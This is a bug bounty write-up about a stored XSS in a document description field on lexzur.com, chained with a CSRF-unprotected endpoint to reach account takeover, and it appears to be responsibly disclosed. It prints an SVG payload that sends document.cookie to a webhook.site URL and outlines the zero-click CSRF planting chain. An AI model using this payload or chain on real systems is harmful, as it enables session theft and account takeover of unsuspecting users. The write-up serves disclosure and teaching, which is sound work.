While hunting on lexzur.com, I found a stored XSS in a document description field. On its own, that's a decent find. But when I noticed the same endpoint had no CSRF protection either, the whole thing turned into something much scarier a zero-click account takeover chain.
Here's how it went down.
Step 1 Locating the Injection Point
The Contract/Document module allows users to attach a free-text Description to any uploaded contract or document. This description is later rendered back to any user who views that document — including other admins and team members it's shared with.
Free-text fields that get rendered back to other users are a classic place to check for missing output encoding, so I started there.
The field is reachable via Upload Contract/Document → Details, then clicking the pencil (edit) icon next to the description. It accepted raw input with no visible client-side filtering.
Step 2 Confirming Stored XSS
I injected the following payload into the Description field and saved it:
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 500">
<script>
alert(1)
</script>
</svg>
Result: The payload was stored without sanitization and executed immediately on page load, firing an alert(1) popup.

Because the description is shown to any user with access to the shared document — not just the person who entered it — this is a true stored (persistent) XSS, not a self-XSS. Any admin, organization member, or shared collaborator who opens the document becomes a victim.
Step 3 Escalating: No CSRF Protection on the Same Endpoint
A day after the initial finding, I went back to test whether the description-update endpoint validated request origin. It didn't.
The endpoint accepted a forged POST request with no CSRF token, no origin check, and no user interaction required. That meant an attacker could host a malicious page that, when simply visited by a logged-in victim, silently submitted the stored XSS payload on the victim's behalf — no click, no confirmation, nothing.
This changes the exploitation model entirely:
- Before: attacker needs the victim (or a shared user) to open a document the attacker already poisoned
- After: attacker just needs the victim to load a page — the CSRF does the planting automatically
Step 4 Weaponizing for Cookie Theft
To demonstrate real-world impact rather than just an alert() box, I swapped the PoC payload for a cookie-exfiltration payload:
<svg xmlns="http://www.w3.org/2000/svg" onload="
(new Image()).src='https://webhook.site/038f0e83-c0d8-4241-87ef-1e3362147fad?c='+encodeURIComponent(document.cookie)
"></svg>
Combined with the CSRF issue, the full attack chain looked like this:
- Attacker hosts a malicious auto-submitting form targeting the description-update endpoint
- Victim (any authenticated user) visits the attacker's page
- The forged request silently stores the XSS payload in a document description
- Any user who later views that document — including the original victim, teammates, or admins — has their
document.cookieexfiltrated to an attacker-controlled webhook - Stolen session cookies can be replayed for account takeover

=================================================================================
Impact Summary
- Stored XSS affecting any admin or team member who views an infected document
- Zero-click delivery via CSRF — no victim interaction needed to plant the payload
- Session/cookie theft → potential full account takeover
- Lateral spread risk since shared documents propagate the payload to every viewer
Disclosure Timeline
- Feb 4, 2026 — Initial Stored XSS report submitted to lexzur.com's security team
- Feb 5, 2026 — Report acknowledged, triage begins
- Mar 2, 2026 — Confirmed as eligible, classified High, awarded $$
Takeaways
- Rich-text/description fields are a recurring soft spot — anywhere user content is rendered back to other users deserves an output-encoding check, not just an input-validation check.
- Always test state-changing endpoints for CSRF, even ones that look like minor metadata updates — pairing a low-friction CSRF with a stored XSS turns a "requires social engineering" bug into a zero-click one.
- The program's own severity rating (High) differed from my self-assessment (Critical for the chained 0-click ATO) — a reminder that programs weigh exploitation complexity and business impact differently than researchers sometimes do; it's worth documenting your reasoning clearly in the report so triagers see the full chain, but be prepared for programs to land on a different final number.
- Thanks for reading this writeup! ❤️